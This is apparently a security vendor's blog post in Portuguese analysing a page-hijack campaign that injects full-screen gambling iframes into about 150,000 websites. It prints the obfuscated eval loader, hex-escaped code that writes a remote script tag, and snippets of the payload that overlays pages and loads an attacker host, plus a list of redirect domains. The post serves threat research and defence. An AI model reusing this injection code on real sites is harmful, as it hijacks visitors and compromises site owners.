Resumo: sequestro por iframe com codificação de entidades HTML a impulsionar marcas chinesas de apostas à escala de 150 mil sites
- Escalou após o takedown: Todos celebram quando uma campanha ganha as manchetes de uma remoção (takedown). Os atacantes limitam-se a escalar de 35.000 para 150.000 sites, acrescentam a identidade visual da Bet365 para dar legitimidade, e trocam a ofuscação de escapes Unicode para codificação de entidades HTML, de modo a escapar aos mesmos scanners estáticos que reportaram a vitória.
- Como se escondia: O script baseado em palavras-chave comparava os títulos com bet365, WilliamHill, 12bet, w88 e as marcas chinesas 宝威 e 太阳城, e depois escrevia um iframe em ecrã inteiro apontando para 888fff.zuizhongyj[.]com e destinos como 551007t[.]cc, t399229[.]com e W88in[.]com. A cside monitoriza injeções de iframe em tempo de execução e o comportamento dos scripts em visitantes reais, e não a imagem estática que o crawler vê.
- Abandone o rastreio por domínios: Se acompanha esta classe de ataque apenas através de listas de domínios, abandone esse hábito já neste trimestre. A infraestrutura passou para a codificação de entidades HTML e para a imposição de viewport via mutation observer, e o único ponto de controlo que lhe resta é aquilo que o navegador do visitante realmente renderiza.
Sem tempo? Veja o bloqueio de Magecart e skimmers no navegador da cside. Cobre tudo o que se segue numa única implementação.
Em fevereiro, descobrimos um agente de ameaça a visar mais de 35.000 sites com uma injeção maliciosa de sequestro de página inteira. Continuámos a monitorizar as atividades deste agente e identificámos novas táticas e técnicas. Ampliaram significativamente as suas operações, e estimamos agora que aproximadamente 150.000 sites foram afetados por esta campanha.
O que há de novo neste ataque?
Alterações de UI/UX
O agente de ameaça reformulou ligeiramente a sua interface, mas continua a depender de uma injeção de iframe para exibir uma sobreposição em ecrã inteiro no navegador do visitante. Eis um exemplo de uma das páginas injetadas mais recentes:

Ainda que os elementos visuais e o layout possam ser diferentes, o método de injeção subjacente mantém-se o mesmo.

Variações sobre o mesmo tema
Outra variação deste ataque apresenta um comportamento semelhante, injetando scripts e iframes que se fazem passar por sites de apostas legítimos, como a Bet365. Em muitos casos, são reutilizados logótipos e identidade visual oficiais para tornar o ataque mais convincente.

Codificação de entidades HTML no código injetado
No código estático, o JavaScript malicioso é injetado da seguinte forma:
<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>
Este é um exemplo de codificação de entidades HTML, uma forma diferente de ofuscar código. Torna o script injetado menos óbvio à primeira vista. Ao descodificar este trecho de volta para texto simples, obtemos:
<script type="text/javascript" charset="utf-8" rel="nofollow" src="/@public/base.js"></script>

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('o["\\q\\a\\2\\e\\f\\9\\n\\0"]["\\p\\5\\6\\0\\9"](\'\\k\\1\\2\\5\\6\\3\\0 \\0\\j\\3\\9\\i\\7\\0\\9\\t\\0\\4\\8\\h\\u\\h\\1\\2\\5\\6\\3\\0\\7 \\1\\5\\2\\i\\7\\m\\0\\0\\3\\1\\s\\4\\4\\c\\c\\c\\b\\b\\b\\d\\g\\e\\6\\g\\m\\a\\n\\r\\j\\8\\d\\2\\a\\f\\4\\8\\e\\f\\3\\d\\8\\1\\7\\l\\k\\4\\1\\2\\5\\6\\3\\0\\l\');',31,31,'x74|x73|x63|x70|x2f|x72|x69|x22|x6a|x65|x6f|x66|x38|x2e|x75|x6d|x7a|x61|x3d|x79|x3c|x3e|x68|x6e|window|x77|x64|x67|x3a|x78|x76'.split('|'),0,{}))
Pode descodificar texto codificado com entidades HTML usando ferramentas gratuitas como o CyberChef.
Neste ataque, existe também JavaScript que se descodifica da seguinte forma:
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](
'\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x73\x3a\x2f\x2f\x38\x38\x38\x66\x66\x66\x2e\x7a\x75\x69\x7a\x68\x6f\x6e\x67\x79\x6a\x2e\x63\x6f\x6d\x2f\x6a\x75\x6d\x70\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'
);
Que acaba por escrever:
<script type="text/javascript" src="hxxps://888fff.zuizhongyj[.]com/jump.js"></script>
Os atacantes utilizam ofuscação para ocultar a verdadeira natureza do script perante varrimentos rápidos ou deteções menos sofisticadas.
Análise do payload final de JavaScript
Seguem-se alguns detalhes-chave do script final:
Lógica de deteção baseada em palavras-chave O script define um array de palavras-chave relacionadas com apostas, jogos de azar e marcas de casino, tanto em inglês como em chinês (por exemplo, bet365, WilliamHill, tyc, bwin, 12bet, w88, 宝威, 太阳城).
Depois, verifica a tag <title> da página atual em relação a esta lista:
var keyWord = [
{ key: [...], id: 1 },
...
];
b = document.getElementsByTagName("title")[0].innerText;
if (b.match(new RegExp(keyWord[i].key[j], 'ig')) != null) {
a = keyWord[i].id;
c = '?id=';
...
}
Assim que é encontrada uma correspondência, o script configura um parâmetro de ID (?id=) para utilização na fase seguinte do redirecionamento.
Imposição da tag Viewport
O código inclui handleViewportTag(); mais um mutation observer e uma chamada setInterval para inserir repetidamente uma viewport adaptada a dispositivos móveis:
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
Isto garante que a sobreposição em ecrã inteiro é exibida corretamente em dispositivos móveis.
Sobreposição em ecrã inteiro + injeção de iframe
O script do atacante cria um <div class="lbb"> que cobre todo o ecrã (através de CSS position: fixed; z-index: 9999; ...) e injeta um <iframe> em ecrã inteiro:
var web = 'https://888fff.zuizhongyj.com/' + c + a;
document.write('<iframe src="'+web+'" ... ></iframe>');
Qualquer pessoa que visite o site comprometido vê a página de apostas maliciosa em vez do conteúdo legítimo da página.
Destinos de redirecionamento
Observámos múltiplos URLs de redirecionamento durante a análise, incluindo:
hxxps://551007t[.]cc/
![Página de apostas chinesa servida no destino de redirecionamento 551007t[.]cc](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_5.png)
![Segunda vista do site de apostas servido no destino de redirecionamento 551007t[.]cc](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_6.png)
hxxps://t399229[.]com/
![Página de apostas chinesa servida no destino de redirecionamento t399229[.]com](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_7.png)
hxxps://www.wa38di[.]com:7443/other/restrictionIp?name=access-caveat
![Página de acesso restrito exibida no endpoint de redirecionamento wa38di[.]com](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_8.png)
(Já observado anteriormente noutras campanhas)
hxxps://W88in[.]com
![Página de apostas chinesa servida no destino de redirecionamento W88in[.]com](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_9.png)
hxxps://b217102[.]cc/
![Página de apostas chinesa servida no destino de redirecionamento b217102[.]cc](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_10.png)
hxxps://g977115[.]com/
![Página de apostas chinesa servida no destino de redirecionamento g977115[.]com](/content/images/2025/08/Over-150K-websites-hit-by-full-page-hijack-linking-to-Chinese-gambling-sites_11.png)
hxxps://lucky298[.]com/
Vários destes sites bloqueiam seletivamente o tráfego proveniente de regiões específicas, o que nos leva a suspeitar que os principais alvos são utilizadores de língua chinesa na China, em Hong Kong e nos Estados Unidos.
Escala do ataque: 150 mil sites (e a contar)
Utilizando ferramentas de pesquisa públicas (por exemplo, o PublicWWW), agrupámos todos os sites que incluem o trecho de script ofuscado. No momento da nossa análise, identificámos mais de 150.000 sites únicos. Pode ver uma consulta em direto destas infeções aqui.
Este ataque mostra como os agentes de ameaça continuam a adaptar-se: expandem o seu alcance e acrescentam novas camadas de ofuscação. Ataques do lado do cliente como este estão a aumentar, com novas descobertas a surgir regularmente.
Se suspeita que o seu site pode estar afetado, reveja todos os scripts em busca de codificação oculta de entidades HTML ou injeções suspeitas de <iframe>. A vigilância contínua e as auditorias regulares ao site continuam a ser as suas melhores defesas contra ataques como estes.









